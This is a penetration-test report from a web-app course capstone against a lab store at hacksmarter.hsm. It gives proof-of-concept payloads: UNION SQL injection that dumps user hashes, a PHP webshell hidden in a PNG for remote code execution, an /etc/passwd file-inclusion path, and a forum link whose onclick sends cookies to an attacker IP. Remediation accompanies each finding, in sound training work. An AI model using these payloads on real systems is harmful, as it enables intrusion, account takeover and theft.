Skip to main content
  1. Projects/

HackSmarter Web App Pentesting Capstone

·6504 words·31 mins
Liam Smydo
Author
Liam Smydo
Hi, I’m Liam. This site contains my various cybersecurity projects, CTF write-ups, and labs, including detailed technical write-ups and different resources I find useful.
Table of Contents

Tester: Liam Smydo | liamsmydo.com | github.com/01xmm

Target: hacksmarter.hsm (Hack Smarter — Web App Pentesting Capstone)

Date: March–April 2026

Classification: Educational / Capstone Assessment


Table of Contents
#


Executive Summary
#

This report documents a comprehensive web application penetration test against the Hack Smarter e-commerce ecosystem, conducted as the capstone assessment for the HackSmarter Web App Pentesting course.

Overall Risk Posture: CRITICAL

Starting from a completely unauthenticated position, I was able to extract the full user database including admin credentials within minutes through a UNION-based SQL injection in the product search functionality. No account or authentication was required.

From an authenticated user position, multiple stored XSS vulnerabilities in the forum and feedback systems enabled session hijacking of other users, including administrators. With administrative access, an unrestricted file upload in the logo change functionality allowed me to upload a PHP webshell and achieve Remote Code Execution on the underlying server as www-data.

The full attack chain from anonymous visitor to code execution on the server is achievable in under 10 minutes. A total of 30 vulnerabilities were identified across the application, spanning input validation failures, broken access controls, session management weaknesses, and security misconfigurations.

The two critical findings (SQL Injection and RCE via file upload) require immediate remediation. The remaining high and medium findings represent systemic weaknesses that, when chained together, significantly amplify the overall risk.


Scope and Objectives
#

Objectives
#

The primary objective was to evaluate the security posture of the Hack Smarter e-commerce application by identifying, validating, and documenting vulnerabilities across:

  • Application-layer input handling
  • Authentication and session management
  • Authorization and access controls
  • Business logic
  • Server configuration and information exposure

In-Scope Assets
#

Asset Type Discovery
hacksmarter.hsm Web application (HTTP, port 80) Provided
dev.hacksmarter.hsm Development subdomain Discovered via subdomain fuzzing

Provided Credentials
#

Role Username Password
Administrator admin admin123
Standard User user password

Additional accounts were created via the registration functionality during testing.

Testing Approach
#

This was a grey box assessment. Credentials were provided for two user roles. No source code, architecture documentation, or infrastructure diagrams were supplied. Testing was conducted from the perspective of three access levels: unauthenticated guest, standard user, and administrator.


Methodology
#

This assessment was conducted as the capstone challenge for the HackSmarter Web Application Pentesting course. The methodology follows the course’s structured approach: beginning with reconnaissance and application mapping, then systematically testing each vulnerability category covered in the curriculum against the target — working from unauthenticated access through authenticated user and administrator perspectives.

The course instructs students to work through their notes from the beginning and verify each vulnerability class against the application. I followed a similar approach.

Phase 1 — Reconnaissance and Mapping
#

  • Port scanning and service enumeration to identify exposed services
  • Technology fingerprinting via response headers and automated scanning
  • Virtual host / subdomain fuzzing to discover additional attack surface
  • Directory / file enumeration to map endpoints
  • Manual application browsing with Burp Suite running to capture the full request surface

Phase 2 — Unauthenticated Testing
#

Testing all functionality accessible without credentials:

  • Login and registration form analysis (enumeration, weak policy, brute force controls)
  • Input injection on externally exposed parameters (SQLi, LFI, XSS, SSTI, etc.)
  • Open redirect and session token handling prior to authentication
  • Rate limiting on all public-facing forms

Phase 3 — Authenticated Testing (Standard User)
#

Testing all functionality available to a registered user:

  • Session management: cookie security attributes, fixation, invalidation behaviour
  • Authorization: IDOR, privilege escalation, API access controls
  • Injection: XSS across all input fields, SSRF via URL import, HTML injection
  • CSRF: token implementation and method-level bypass testing
  • File upload: SVG execution, content type validation
  • Business logic: client-side restriction bypass, cart manipulation

Phase 4 — Authenticated Testing (Administrator)
#

Testing all functionality available to the admin role:

  • File upload in administrative panel for RCE via PHP execution
  • Access control verification on admin-only endpoints

Phase 5 — Chaining and Documentation
#

  • Combining individual findings into realistic attack chains
  • Validating each finding with a reproducible proof of concept
  • Assigning severity ratings using CVSS 3.1 base scoring

Each finding was validated manually. Automated tools were only used for initial reconnaissance. All vulnerability assessments were performed by hand using Burp Suite and browser-based testing.


Tools Used
#

Tool Purpose
RustScan / Nmap Port scanning and service enumeration
Nuclei Automated vulnerability scanning (initial recon)
ffuf Subdomain and directory fuzzing
dirsearch Directory enumeration
Burp Suite Request interception, manipulation, and replay
Python (custom scripts) Rate limit testing
Browser DevTools Client-side analysis, DOM manipulation

Findings Summary
#

Severity Count Findings
Critical 2 SQL Injection, Remote Code Execution
High 10 LFI, Stored XSS (x2), SSRF, CSRF bypass, IDOR, missing re-auth, insecure cookies, session fixation, improper session invalidation
Medium 11 Open redirect, missing rate limiting, clickjacking, client-side bypass, user enumeration (x2), HTML injection, directory listing, product IDOR, exposed config (dev), phpinfo (dev)
Low / Info 7 Weak password policy, exposed .gitignore, build log exposure, debug info disclosure, dead endpoint, missing headers, missing CSRF on cart
Total 30

Critical Findings
#


C1 — SQL Injection (UNION-Based) in Product Search #

Field Value
Severity Critical (CVSS 9.8)
CVSS Vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-89: Improper Neutralization of Special Elements used in an SQL Command
Affected Endpoint GET /store.php?search=
Authentication Required None

Description
#

The product search functionality on store.php directly interpolates user input into a SQL query without parameterization or sanitization. Submitting a single quote (') in the search field triggers a verbose MySQL error, immediately confirming the injection point and leaking database structural information.

Through column enumeration using ORDER BY, I confirmed the query returns 7 columns. From there, a full UNION-based extraction was possible.

Proof of Concept
#

Step 1 — Trigger the error to confirm injection:

Entering a single ' in the search box produces a raw MySQL error in the browser response, confirming unsanitized input reaches the query engine.

Verbose SQL error from single quote injection

Step 2 — Boolean-based confirmation:

A true condition returns normal results, a false condition returns none — confirming boolean-based blind injection is also possible.

Boolean-based SQLi confirmation

Step 3 — Enumerate column count:

' ORDER BY 1 -- - 

Incrementing the column number from 1 upward. The query errors at 8, confirming 7 columns in the result set.

ORDER BY error at column 8

Step 4 — Identify reflected columns:

' UNION SELECT 1,2,3,4,5,6,7 -- -

The response reveals which column positions are rendered in the page, enabling targeted data extraction.

UNION SELECT showing reflected columns

Step 5 — Extract user credentials:

' UNION SELECT 1,2,GROUP_CONCAT(username, ':', password SEPARATOR 0x7c),4,5,6,7 FROM users -- -

This dumps all usernames and bcrypt password hashes from the users table in a single request, with no authentication required.

Extracted user credentials via UNION injection

Impact
#

  • Full extraction of the user credential table (usernames, bcrypt hashes, privilege flags) by any unauthenticated visitor
  • Admin password hash exposed — susceptible to offline cracking, especially given the weak password policy (see L1 — Weak Password Policy)
  • Complete database structure enumeration via information_schema
  • Potential filesystem access via INTO OUTFILE if secure_file_priv is misconfigured

Remediation
#

  1. Use prepared statements with parameterized queries — this is the primary fix:
$stmt = $mysqli->prepare("SELECT * FROM products WHERE name LIKE ?");
$search = '%' . $_GET['search'] . '%';
$stmt->bind_param('s', $search);
$stmt->execute();
  1. Disable error output in production — set display_errors = Off in php.ini
  2. Apply least privilege to the database account — the application should not connect as root
  3. Implement input validation as defense-in-depth — reject SQL metacharacters in search input
  4. Deploy WAF rules to detect and block common SQLi patterns as a supplementary layer

C2 — Remote Code Execution via Unrestricted File Upload
#

Field Value
Severity Critical (CVSS 9.1)
CVSS Vector AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE CWE-434: Unrestricted Upload of File with Dangerous Type
Affected Endpoint Admin panel — site logo upload functionality
Authentication Required Admin

Description
#

The admin panel’s logo upload feature performs a MIME-type check on uploaded files but fails to validate the file extension. By embedding a PHP webshell inside a valid PNG file and changing the filename extension to .php, the server accepts and stores the file in a web-accessible directory. The uploaded file is then directly executable via the browser.

Proof of Concept
#

Step 1 — Prepare the payload:

A valid PNG image was modified to include a PHP webshell (<?php system($_GET['cmd']); ?>) after the image header bytes. The filename was changed from untitled.png to untitled.php. The server’s MIME-type check reads the file header and sees a valid image, but the .php extension causes Apache to execute the file as PHP.

Uploading PHP webshell disguised as logo

Step 2 — Execute commands:

After upload, navigating to /uploads/logos/untitled.php?cmd=whoami returns www-data, confirming arbitrary command execution on the server.

RCE confirmed — whoami returns www-data

Impact
#

  • Full command execution on the web server as www-data
  • Read/write access to application source code and configuration files
  • Potential lateral movement within the internal Docker network (172.18.0.0/16)
  • Persistent backdoor — the webshell remains on disk until manually removed
  • Combined with the SQLi finding (C1), an unauthenticated attacker can crack the admin hash, log in, upload a shell, and own the server

Remediation
#

  1. Validate file extensions server-side — whitelist only permitted image extensions (.png, .jpg, .gif)
  2. Validate file content — check magic bytes AND extension, reject mismatches
  3. Store uploads outside the web root and serve them through a handler that sets Content-Type headers without executing the file
  4. Rename uploaded files to random names to prevent predictable access paths
  5. Disable PHP execution in upload directories via .htaccess:
<Directory "/var/www/html/uploads">
    php_flag engine off
</Directory>

High Findings
#


H1 — Local File Inclusion via Language Parameter
#

Field Value
Severity High (CVSS 7.5)
CVSS Vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE CWE-98: Improper Control of Filename for Include
Affected Endpoint ?lang= parameter
Authentication Required None

Description
#

The ?lang= parameter is vulnerable to path traversal. By supplying a relative path with directory traversal sequences, an attacker can read arbitrary files from the server filesystem.

Proof of Concept
#

http://hacksmarter.hsm/?lang=../../../../../../etc/passwd

LFI reading /etc/passwd via lang parameter

The contents of /etc/passwd are rendered in the response, confirming arbitrary file read.

Impact
#

  • Read any file the web server process has permission to access
  • Exposure of sensitive configuration files, source code, and credentials
  • Can be chained with other findings (e.g., reading PHP session files for session hijacking)

Remediation
#

  1. Use a whitelist of allowed language files — never pass user input directly to include() or require()
  2. Strip or reject path traversal sequences (../, ..\\)
  3. Enforce a base directory and resolve the full path before inclusion, rejecting any path that escapes it

H2 — Stored Cross-Site Scripting (Multiple Injection Points)
#

Field Value
Severity High (CVSS 8.2)
CVSS Vector AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE CWE-79: Improper Neutralization of Input During Web Page Generation
Affected Endpoints feedback.php (name & message), forum.php (thread title), thread.php (post content)
Authentication Required None (feedback), User (forum)

Description
#

Multiple input fields across the application accept and store JavaScript payloads without sanitization. When other users (including administrators) view the affected pages, the scripts execute in their browser context.

Proof of Concept
#

Feedback form — name and message fields:

Both the name and message input fields on feedback.php accept and render arbitrary JavaScript. Payloads persist and execute for any user viewing the feedback.

Stored XSS in feedback message field
Stored XSS in feedback name field

Forum — thread title (executes on forum.php for all users):

A JavaScript payload stored in a thread title fires every time any authenticated user loads the forum page.

Stored XSS in forum thread title — fires on page load

Forum — post content (executes when thread is viewed):

Malicious JavaScript embedded in a thread’s body content executes when any user opens that thread.

Stored XSS in forum post content

Impact
#

  • Session hijacking via document.cookie exfiltration (especially dangerous given the missing HttpOnly flag — see H8 — Insecure Session Cookie Configuration)
  • Phishing via injected login forms or fake error messages
  • Account takeover when combined with the CSRF bypass (H5 — CSRF Token Bypass on Profile Update)
  • Defacement of the forum and feedback pages

Remediation
#

  1. Encode all user-supplied output — use htmlspecialchars($input, ENT_QUOTES, 'UTF-8') when rendering user content in HTML
  2. Implement Content Security Policy (CSP) headers to restrict inline script execution
  3. Set the HttpOnly flag on session cookies to prevent JavaScript access

H3 — Stored XSS via SVG File Upload
#

Field Value
Severity High (CVSS 7.6)
CVSS Vector AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
CWE CWE-79 / CWE-434
Affected Endpoint Profile picture upload (avatar)
Authentication Required User

Description
#

The profile picture upload accepts SVG files. SVG is an XML-based format that can contain embedded JavaScript. By uploading an SVG containing a cookie-stealing XSS payload and directing a victim to the “view full size” avatar URL, the attacker captures the victim’s session cookie.

Proof of Concept
#

Step 1 — Create a malicious SVG with a cookie-stealing payload and start a listener:

Malicious SVG creation and listener setup

Step 2 — Upload the SVG as a profile picture:

SVG uploaded as profile avatar

Step 3 — Victim navigates to the avatar (via “view full size”):

View full size avatar link

Step 4 — Cookie captured on attacker’s listener:

Session cookie stolen via SVG XSS

Impact
#

  • Targeted session hijacking — attacker can steal any user’s cookie who views the avatar
  • Can be combined with HTML injection in the forum to create a clickable link pointing to the malicious avatar URL

Remediation
#

  1. Block SVG uploads or serve them with Content-Type: image/svg+xml and Content-Disposition: attachment to prevent rendering
  2. Sanitize SVG content — strip <script> tags and event handlers from uploaded SVGs
  3. Serve user uploads from a separate domain (e.g., cdn.hacksmarter.hsm) to isolate cookie scope

H4 — Server-Side Request Forgery via Avatar URL Import
#

Field Value
Severity High (CVSS 7.7)
CVSS Vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
CWE CWE-918: Server-Side Request Forgery
Affected Endpoint Profile — “Import from URL” avatar functionality
Authentication Required User

Description
#

The “import from URL” feature for profile avatars allows users to supply an arbitrary URL. The server fetches the resource from the provided URL without validating the target, enabling an attacker to make the server issue requests to internal resources.

Proof of Concept
#

Internal port scanning via response differentiation:

Requesting http://localhost:80 returns a success response (port open), while requesting a closed port returns a different response. This allows an attacker to map internal services.

SSRF — localhost:80 returns success (open port)
SSRF — closed port returns different response

External resource fetch (confirming outbound SSRF):

SSRF fetching external resource

Impact
#

  • Internal port scanning to discover services (databases, caches, admin panels) not exposed to the internet
  • Interaction with internal services (e.g., Redis, MySQL, cloud metadata endpoints)
  • Potential for data exfiltration from internal APIs

Remediation
#

  1. Implement a URL allowlist — restrict imports to known, trusted external domains
  2. Block requests to private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254)
  3. Validate the resolved IP after DNS resolution to prevent DNS rebinding attacks
  4. Enforce a timeout and limit response size to prevent abuse

H5 — CSRF Token Bypass on Profile Update
#

Field Value
Severity High (CVSS 8.1)
CVSS Vector AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
CWE CWE-352: Cross-Site Request Forgery
Affected Endpoint update_profile.php
Authentication Required User (victim must be authenticated)

Description
#

The update_profile.php endpoint includes CSRF token protection on POST requests. However, the endpoint also accepts GET requests, and GET requests do not validate the CSRF token. An attacker can craft a malicious link or embed an image tag that triggers a GET request to change the victim’s email and password without their knowledge.

Proof of Concept
#

Step 1 — Confirm CSRF protection works on POST:

Sending a POST request with the victim’s session cookie but the attacker’s CSRF token is correctly rejected.

POST with wrong CSRF token — rejected

Step 2 — Switch to GET — CSRF token is not validated:

Changing the HTTP method from POST to GET bypasses the CSRF check entirely. The profile update succeeds with a mismatched or missing token.

GET request bypasses CSRF protection

Email successfully changed via GET bypass

Step 3 — Weaponize with a phishing page:

A simple HTML page hosted by the attacker contains a button or auto-submitting form that sends the malicious GET request. When the victim (who is logged in) clicks the link, their email and password are silently changed to attacker-controlled values.

Attacker-hosted CSRF exploit page
CSRF HTML proof of concept

Impact
#

  • Full account takeover — attacker changes the victim’s email and password in one request
  • No user interaction beyond clicking a link (or visiting a page with a malicious <img> tag)
  • Particularly dangerous in combination with stored XSS — an attacker can embed the CSRF payload directly in a forum post

Remediation
#

  1. Reject GET requests for state-changing operations — only accept POST
  2. Validate the CSRF token on all HTTP methods — do not skip validation based on request method
  3. Set SameSite=Strict on session cookies to prevent cross-origin request attachment

H6 — Insecure Direct Object Reference (IDOR) — Forum Post Impersonation
#

Field Value
Severity High (CVSS 7.1)
CVSS Vector AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
CWE CWE-639: Authorization Bypass Through User-Controlled Key
Affected Endpoint POST /api/forum/post.php
Authentication Required User (any authenticated user)

Description
#

The forum post API accepts a user-controlled user_id parameter and creates posts attributed to whatever user ID is specified. Any authenticated user can impersonate any other user — including the administrator — by simply changing the user_id value in the request body.

Proof of Concept
#

Step 1 — Discover the API endpoint:

Browsing to /api/ reveals directory listing is enabled. Navigating to /api/forum/post.php via GET returns an error indicating only POST is allowed.

API error — POST method required

Step 2 — Send a POST request with required parameters:

Switching to POST in Burp Suite reveals the required parameters: title, content, and user_id.

API reveals required parameters

Step 3 — Create a post as user ID 1 (admin):

Post created as user_id 1 (admin)

Step 4 — Create a post as user ID 2:

Post created as user_id 2

Step 5 — Verify on the forum page:

Both impersonated posts appear on the forum, attributed to admin and user respectively.

Impersonated posts visible on forum

Impact
#

  • Any authenticated user can post as any other user, including administrators
  • Enables social engineering attacks through impersonation
  • Combined with stored XSS in forum posts, an attacker can create an admin-attributed post containing a malicious payload

Remediation
#

  1. Derive the user ID server-side from the session — never accept user-supplied identity values for post attribution
  2. Validate that the session user matches the requested user_id if the parameter must exist for API design reasons

H7 — Missing Re-Authentication on Password and Email Changes
#

Field Value
Severity High (CVSS 8.3)
CVSS Vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
CWE CWE-620: Unverified Password Change
Affected Endpoint update_profile.php
Authentication Required User (session access only)

Description
#

The profile update page allows changing the account password and email address without requiring the current password. An attacker who obtains a valid session (through XSS, session fixation, or physical access) can permanently take over the account by changing both the password and email.

Password change without current password verification

Impact
#

  • Permanent account takeover from any form of session compromise
  • No way for the original user to recover the account if the email is also changed
  • Amplifies the impact of every session-stealing vulnerability in the application

Remediation
#

  1. Require the current password before allowing password or email changes
  2. Send a confirmation email to the original address before email changes take effect
  3. Invalidate all existing sessions after a password change (see H10 — Improper Session Invalidation After Credential Changes)

H8 — Insecure Session Cookie Configuration #

Field Value
Severity High (CVSS 7.4)
CVSS Vector AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
CWE CWE-614 (Missing Secure Flag) / CWE-1004 (Missing HttpOnly Flag) / CWE-1275 (Improper SameSite Attribute)
Affected Asset PHPSESSID cookie
Authentication Required N/A

Description
#

The PHPSESSID session cookie is configured without critical security attributes:

  • HttpOnly: Not set — JavaScript can read the cookie via document.cookie
  • Secure: Not set — cookie is transmitted over unencrypted HTTP
  • SameSite: Not set — cookie is attached to cross-origin requests

Insecure cookie attributes

Impact
#

  • Every XSS vulnerability in the application can exfiltrate session cookies — missing HttpOnly is the enabling condition
  • Session tokens are exposed to network-level interception (no HTTPS enforcement)
  • Cross-site request forgery attacks are facilitated by the missing SameSite attribute
  • This finding is a force multiplier — it directly amplifies XSS (H2, H3), CSRF (H5), and session fixation (H9)

Remediation
#

In php.ini or at application startup:

session.cookie_httponly = 1
session.cookie_secure = 1
session.cookie_samesite = Strict

H9 — Session Fixation
#

Field Value
Severity High (CVSS 7.1)
CVSS Vector AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N
CWE CWE-384: Session Fixation
Affected Endpoint login.php
Authentication Required None

Description
#

The session identifier assigned before login remains unchanged after successful authentication. The PHPSESSID cookie set during the unauthenticated browsing session persists through the login process without regeneration.

Proof of Concept
#

Before login — note the session cookie value:

Session cookie before login

After login — the cookie value is identical:

Session cookie unchanged after login — fixated

Impact
#

If an attacker can set or predict a victim’s session cookie (via XSS, network injection, or a crafted URL), that pre-set cookie becomes an authenticated session once the victim logs in. The attacker can then use the known cookie value to access the victim’s account.

Remediation
#

  1. Regenerate the session ID immediately after successful authentication:
session_regenerate_id(true);
  1. This should also be done on any privilege level change (e.g., guest → user → admin)

H10 — Improper Session Invalidation After Credential Changes
#

Field Value
Severity High (CVSS 8.1)
CVSS Vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CWE CWE-613: Insufficient Session Expiration
Affected Endpoint update_profile.php
Authentication Required User

Description
#

After a user changes their password or email, the existing session cookie remains valid. The user is not logged out, and no new session is created. An attacker who has previously stolen a session token retains access even after the victim changes their credentials.

Session cookie noted before password change
Same session cookie still valid after password and email change

Impact
#

  • Stolen sessions remain active indefinitely, even after the victim takes corrective action
  • Undermines the effectiveness of password resets as a security response

Remediation
#

  1. Invalidate all active sessions when the password or email is changed
  2. Force re-authentication immediately after credential changes

Medium Findings
#


M1 — Open Redirect via Login Page
#

Field Value
Severity Medium (CVSS 6.1)
CVSS Vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CWE CWE-601: URL Redirection to Untrusted Site
Affected Endpoint POST /login.phpnext parameter
Authentication Required None

Description
#

The login form uses a next parameter to redirect users after authentication. This parameter accepts arbitrary URLs, allowing an attacker to craft a login link that redirects the victim to a malicious site after they authenticate.

Proof of Concept
#

Step 1 — Intercept login request, observe the next=store.php parameter:

Login request with next parameter
Intercepted login request in Burp

Step 2 — Replace store.php with an external URL:

Modified next parameter to external URL

Step 3 — User is redirected to the attacker’s domain after login:

Redirect to attacker-controlled domain

After login, the attacker’s site is fetched.

Attacker’s site loaded after redirect

Impact
#

  • Credential phishing — redirect to a fake login page that claims “session expired, log in again”
  • Malware delivery — redirect to a drive-by download page
  • Undermines user trust in legitimate login links

Remediation
#

  1. Validate the next parameter against a whitelist of allowed internal paths
  2. Reject absolute URLs and external domains — only allow relative paths
  3. Verify the redirect target starts with / and does not contain // or @

M2 — Missing Rate Limiting on Authentication and Input Endpoints
#

Field Value
Severity Medium (CVSS 6.5)
CVSS Vector AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
CWE CWE-307: Improper Restriction of Excessive Authentication Attempts
Affected Endpoints login.php, register.php, feedback.php /*
Authentication Required None

Description
#

No rate limiting, account lockout, or CAPTCHA is enforced on the login, registration, or feedback endpoints. An attacker can send unlimited requests without any throttling.

Proof of Concept
#

A custom Python script was written to send 50 rapid-fire requests to each endpoint with zero delay:

Login — all 50 requests returned 200 OK, no lockout or throttling:

Login rate limit test — no limiting

Registration — all 50 accounts created successfully:

Registration rate limit test — no limiting

Feedback — all 50 submissions accepted:

Feedback rate limit test — no limiting

Summary — no rate limiting detected on any endpoint:

Rate limit analysis — all requests succeeded

Impact
#

  • Brute force attacks against user accounts are trivially possible
  • Mass account creation for spam or abuse
  • Feedback form spamming / denial of service
  • Combined with user enumeration (M5, M6), an attacker can first identify valid usernames, then brute force their passwords with no restrictions

Remediation
#

  1. Implement progressive rate limiting — block or delay after N failed attempts per IP/account
  2. Add account lockout after repeated failed login attempts (with lockout notification)
  3. Deploy CAPTCHA on registration and feedback forms after a threshold
  4. Log and alert on high-volume authentication attempts

M3 — Clickjacking via Missing Frame Protections
#

Field Value
Severity Medium (CVSS 6.1)
CVSS Vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CWE CWE-1021: Improper Restriction of Rendered UI Layers
Affected Asset Entire application
Authentication Required None

Description
#

The application does not set X-Frame-Options or Content-Security-Policy: frame-ancestors headers. The entire site can be embedded in an <iframe> on an attacker-controlled page, enabling clickjacking attacks.

Clickjacking test HTML
Site loads inside iframe — clickjacking confirmed

Remediation
#

Add to server configuration or application responses:

X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'

M4 — Client-Side Access Control Bypass (Region Restriction)
#

Field Value
Severity Medium (CVSS 4.3)
CVSS Vector AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
CWE CWE-602: Client-Side Enforcement of Server-Side Security
Affected Endpoint store.php — Flipper Zero product
Authentication Required User (for cart access)

Description
#

A product (Flipper Zero) is marked as region-restricted and hidden from users via client-side JavaScript. The restriction is controlled entirely by a data-region-available HTML attribute — the server does not enforce the restriction.

Proof of Concept
#

Step 1 — Product is visually blocked with an error message:

Region-restricted product blocked

Disabling javascript works to get the “View & Buy” button to show on store.php, but the product is still blocked once we click it, which lead to further analysis and discovery of the data-region-available attribute in the store.php page source code.

Region restriction error

Step 2 — Analyze the client-side control:

The data-region-available attribute is checked by store.js. If the value is 0, the product is hidden and the “Add to Cart” button is disabled. No server-side validation exists.

data-region-available attribute in HTML
store.js client-side region check logic

There is also a comment in the store.js code itself which directly points out this vulnerability.

Step 3 — Bypass via browser console:

Since this is a client side control, all we have to do is set the attribute to 1, and then unhide the disabled buttons. We can do so with this payload via the dev console

document.querySelector('.product-card').setAttribute('data-region-available', '1');
const btn = document.querySelector('.btn-buy');
btn.disabled = false;
btn.style.display = 'block';

Add to cart button enabled after bypass

Step 4 — Successfully order the restricted product:

Region-restricted product ordered successfully

Impact
#

  • Region-based access controls are completely ineffective
  • Users in restricted regions can purchase products they should not have access to
  • Business logic violation — any client-side-only enforcement can be trivially bypassed

Remediation
#

  1. Enforce region restrictions server-side — validate the user’s region on the backend before processing the order
  2. Client-side controls should be cosmetic only — never trust them for security

M5 — User Enumeration via Login Response
#

Field Value
Severity Medium (CVSS 5.3)
CVSS Vector AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CWE CWE-204: Observable Response Discrepancy
Affected Endpoint login.php
Authentication Required None

Description
#

The login form returns different error messages depending on whether the username exists. A non-existent username produces “user not found,” while an existing username with the wrong password produces “incorrect password.” This allows an attacker to enumerate valid usernames.

“User not found” error for non-existent username
“Incorrect password” error for valid username

Remediation
#

Use a generic error message for all login failures: “Invalid username or password.”


M6 — User Enumeration via Registration Response
#

Field Value
Severity Medium (CVSS 5.3)
CVSS Vector AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CWE CWE-204: Observable Response Discrepancy
Affected Endpoint register.php
Authentication Required None

Description
#

The registration form reveals whether a username or email is already registered through distinct error messages: “username is already taken” and “email is already registered.”

Username enumeration via registration
Email enumeration via registration

Remediation
#

Use a single generic message: “If this information is available, your account will be created.” Send confirmation details via email rather than displaying registration status.


M7 — HTML Injection via Forum Posts
#

Field Value
Severity Medium (CVSS 5.4)
CVSS Vector AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
CWE CWE-80: Improper Neutralization of Script-Related HTML Tags
Affected Endpoints Forum thread title and content
Authentication Required User

Description
#

Forum post titles and content accept and render raw HTML without sanitization, enabling an attacker to inject arbitrary HTML like fake links, buttons, forms, or other UI elements to deceive other users. This is distinct from the stored JavaScript execution documented in H2 (which covers script payloads that fire automatically). This finding focuses on HTML injection as a social engineering and phishing vector: visually convincing, user-triggered content that abuses user trust in the forum.

Note on scope: The proof of concept below uses an onclick handler, which technically crosses into XSS territory (already covered in H2). This finding is logged separately because HTML injection enabling targeted phishing and social engineering is a distinct risk category — it doesn’t require the victim to have JavaScript enabled, and the attack surface is the user’s trust rather than automatic script execution.

Proof of Concept
#

An anchor tag was injected into a forum post styled as a legitimate promotion. When a user clicks it, their session cookie is silently exfiltrated to the attacker’s server:

<a href="#" onclick="fetch('http://10.200.36.124:8081/steal?c='+document.cookie); return false;">
SPRING PROMO! Click here to add a 50% off discount for your next checkout. On us!
</a>

HTML injection phishing link in forum post

Cookie captured when a user clicks the link:

Session cookie stolen via HTML injection phishing

Remediation
#

  1. Sanitize HTML in all user-generated content — strip or encode all HTML tags on output
  2. If rich formatting is needed, use a Markdown parser with a strict allowlist of safe elements (no <a onclick>, no event handlers)

M8 — Directory Listing Enabled on Sensitive Paths
#

Field Value
Severity Medium (CVSS 5.3)
CVSS Vector AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CWE CWE-548: Exposure of Information Through Directory Listing
Affected Paths /uploads/, /config/, /includes/, /api/, /test/, /assets/
Authentication Required None

Description
#

Directory listing is enabled on multiple paths, exposing file names, directory structures, and in some cases the contents of sensitive files to unauthenticated users.

Directory listing on /api/

Remediation
#

Disable directory listing in Apache configuration:

Options -Indexes

M9 — Unauthenticated IDOR: Hidden Product Access
#

Field Value
Severity Medium (CVSS 5.3)
CVSS Vector AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CWE CWE-639: Authorization Bypass Through User-Controlled Key
Affected Endpoint GET /api/products/?id=6 / store.php?id=6
Authentication Required None

Description
#

The /api/products/ endpoint exposes a full JSON listing of all products in the database, including products not displayed in the store UI. Product ID 6 is hidden from the storefront — it does not appear in the product listing for any user role, but can be accessed directly via the ?id=6 URL parameter by any unauthenticated visitor. The product can also be added to cart and purchased.

Proof of Concept
#

Step 1 — Browse the API products listing (directory listing enabled):

Navigating to /api/products/ returns a raw JSON dump of all products, revealing product IDs including ID 6 which is not shown on the store.

Raw JSON product listing showing hidden product ID 6

Step 2 — Access the hidden product directly:

Product ID 6 accessible via direct URL

Step 3 — Add to cart and complete purchase:

Hidden product added to cart successfully

Impact
#

  • Unreleased or restricted products can be discovered and purchased by users
  • Business logic bypass — products hidden for pricing, legal, or availability reasons are circumventable
  • Enables purchasing items before they are officially released or in regions/roles they are restricted to

Remediation
#

  1. Enforce server-side access controls on product visibility — the backend should check whether a product is marked as active/visible before returning it
  2. Restrict the /api/products/ listing endpoint — it should not return unpublished products to unauthenticated users
  3. Disable directory listing on /api/ (see also M8 — Directory Listing Enabled on Sensitive Paths)

Low / Informational Findings
#


L1 — Weak Password Policy
#

Field Value
Severity Low (CVSS 3.7)
CVSS Vector AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
CWE CWE-521: Weak Password Requirements
Affected Endpoint register.php
Authentication Required None

The application allows single-character passwords. No minimum length, complexity, or common-password checks are enforced.

Single character password accepted

Remediation: Enforce minimum 8 characters with complexity requirements. Check against common password lists.


L2 — Exposed .gitignore File
#

Field Value
Severity Informational
Affected Endpoint /.gitignore
CWE CWE-552: Files or Directories Accessible to External Parties
Authentication Required None

The .gitignore file is publicly accessible, revealing file and directory names used in the development environment.

Exposed .gitignore contents

Remediation: Block access to dotfiles in Apache configuration:

<FilesMatch "^\.">
    Require all denied
</FilesMatch>

L3 — Exposed Configuration Directory on Development Subdomain
#

Field Value
Severity Medium (CVSS 5.3)
CVSS Vector AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Affected Endpoint dev.hacksmarter.hsm/config/
CWE CWE-548: Exposure of Information Through Directory Listing
Authentication Required None

The development subdomain exposes a /config/ directory with directory listing enabled, potentially revealing application configuration details.

Exposed config directory on dev subdomain

Remediation: Restrict access to the development subdomain via IP allowlist or authentication. Remove it from production infrastructure entirely.


L4 — Publicly Accessible phpinfo() on Development Subdomain
#

Field Value
Severity Medium (CVSS 5.3)
CVSS Vector AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CWE CWE-215: Insertion of Sensitive Information Into Debugging Code
Affected Endpoint dev.hacksmarter.hsm — phpinfo() page
Authentication Required None

A phpinfo() page is accessible on the development subdomain, disclosing PHP version, loaded modules, server environment variables, and internal paths.

phpinfo() exposed on dev subdomain

Remediation: Remove phpinfo() calls from all accessible endpoints. Restrict the dev subdomain.


